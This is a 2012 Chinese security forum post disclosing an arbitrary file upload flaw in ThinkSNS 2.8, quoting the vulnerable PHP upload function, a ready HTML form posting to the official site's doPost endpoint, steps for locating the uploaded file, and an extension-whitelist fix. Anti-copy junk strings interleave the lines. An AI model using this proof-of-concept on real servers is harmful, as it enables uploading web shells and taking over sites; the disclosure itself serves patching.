中国网络渗透测试联盟
标题:
ThinkSNS 2.8任意文件上传漏洞及修复
[打印本页]
作者:
admin
时间:
2012-12-4 11:12
标题:
ThinkSNS 2.8任意文件上传漏洞及修复
微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
+ | Z5 N0 ^8 J; S
$ t6 j. J) e. Z. j
% O o0 G7 w& ~# }; ~$ R, P" x
\api\StatusesApi.class.php
. R u/ w$ V6 `3 b' ~4 o5 G
$ d# h' A$ y7 H, C% g- ]3 m1 A1 x
function uploadpic(){
, L; z5 t3 q7 K/ W& P2 o
if( $_FILES['pic'] ){
& \9 N1 R3 y0 S& j, e$ u& ?
//执行上传操作
7 `% u l, Y! `& K
$savePath = $this->_getSaveTempPath();
' a, M/ g! D( M. l& L0 w
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
) c" e$ O E& x; o1 Q8 A
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
4 @# O+ R% Z( z
{
5 Q0 b5 z. d) q- }" C- H
$result['boolen'] = 1;
}1 h# T ?0 C& d' ^! Q8 p$ g
$result['type_data'] = 'temp/'.$filename;
* o5 V) b. Y4 D7 a, \5 r2 l
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
' C' ?, C4 ]1 H/ K H
} else {
2 q l, e5 X' |; T$ Y
$result['boolen'] = 0;
$ F4 o2 V5 L7 W" x* i5 o- ]% A
$result['message'] = '上传失败';
1 c- Y: E9 I5 G
}
6 l- g/ ~$ I. `5 X+ W; u. [, u$ [6 U5 [
}else{
1 Y/ ~5 R- W$ p
$result['boolen'] = 0;
2 i W4 z) f/ e& U" q( Q& M; A2 p
$result['message'] = '上传失败';
) v/ K3 n7 r0 c3 Z$ o) O
}
, e7 M6 B% f2 @& ]7 ~/ r
return $result;
, V g) s6 G: h! @
}
% O* A1 R! }* f h9 G* R
unloadpic()方法没有对文件类型进行验证
% g9 o% T: @# E* q+ j
# ~8 K, E' q1 Y# H
可以构建表单, 选择任意文件, 提交到
4 v) J/ Y4 N1 l) ~
/index.php?app=w3g&mod=Index&act=doPost
0 j8 n; r2 E5 A/ i7 }; k0 K
$ ], z+ @- z5 r
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
4 }" a p5 {2 v6 s6 y/ j
* }+ C7 O9 z, \8 t5 z
$ r7 M! e. Y& b# W) E# w
在登录thinksns官方微博后,
3 m: [) E* I, V5 v- O$ r7 ]
构建以下表单:
! v' y8 J( i( Q- E& g
4 z0 B0 J, c' Y3 i
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
: ]' g! J' n0 q+ j
<textarea name="content">test</textarea>
& M2 ~( D+ O x1 }2 w7 B
file: <input id="file" type="file" name="pic" />
0 S; Z8 t& Y) g' A9 R% v, S$ ~
<input type="submit" value="Post" />
8 d/ _) ]$ \9 P" d: |- |" _4 H2 M
</form>
5 N4 l, }9 P9 R0 p6 X G$ t3 Z% ~
去掉缩略图的前缀(small_ )
2 a+ j% }4 O. Q2 [% b
修复方案:
9 c5 w* I( C: g% y& Q
" Q2 n! ~6 u' W) `& B
' A8 |% _$ w2 ^7 j1 W' i' |
\api\StatusesApi.class.php
( |+ m1 b/ X; E" A$ B+ G5 B
7 U( @, X8 K( S$ c
function uploadpic(){
- [+ Z* L7 x* \ Z' D. Y P- W
/**
- Q) l* x# N6 k S$ q
* 20121018 @yelo
, \/ A* q" n( x7 @0 K7 l* x8 j
* 增加上传类型验证
, j& Q% ] c3 b3 `9 ?* j1 b; V2 R
*/
: I( a" @; Z2 j& g0 R
$pathinfo = pathinfo($_FILES['pic']['name']);
) _7 O6 E8 A$ T$ f: F. c- P
$ext = $pathinfo['extension'];
( {# A8 ?/ I" y+ k
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
( C, A/ D" H& u4 f% U
4 e6 k" O' y! n' r5 I* g
$uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
! ?" x0 ?* B: {0 O* W
1 ^4 a- u3 C( l& i: Z
if( $uploadCondition ){
0 z9 ]8 x4 |0 w$ B
//执行上传操作
. W, Z/ ]; F9 g& z' ?: Z
$savePath = $this->_getSaveTempPath();
7 Z- O$ M7 G) u2 }. C6 l+ k
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
: |0 t/ p4 z% v
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
6 R( A Z: o' J9 G" F4 a. T) |
{
; m% j' T R8 Z6 f1 ?8 Y
$result['boolen'] = 1;
! I4 r( f' D% T( T H
$result['type_data'] = 'temp/'.$filename;
. i# o# ?1 | ?" K$ Q0 b( e6 _
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
$ O, a! b& a: E4 |0 n" g
} else {
+ d3 S4 ~+ x7 w7 Y- R
$result['boolen'] = 0;
. o% `/ v3 ~) e+ m5 ~
$result['message'] = '上传失败';
' T6 R. {- ?6 W9 g" N, F% R7 V
}
; q O8 _' t- [/ @+ ^! E2 X
}else{
. {. |( f5 D j/ c" Y! N4 z
$result['boolen'] = 0;
+ f- V/ C$ [) N8 J) g! O8 B
$result['message'] = '上传失败';
5 ]1 y' H3 N! {
}
- e- {+ K* ~2 f$ p, k. Q
return $result;
! O Y7 Y7 h7 Y9 ?) a
}
0 \+ V6 [5 z& U; P# t+ U( ^
# _6 e% [6 Z5 M
, i+ L2 d+ S0 \ C( Q1 Q
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2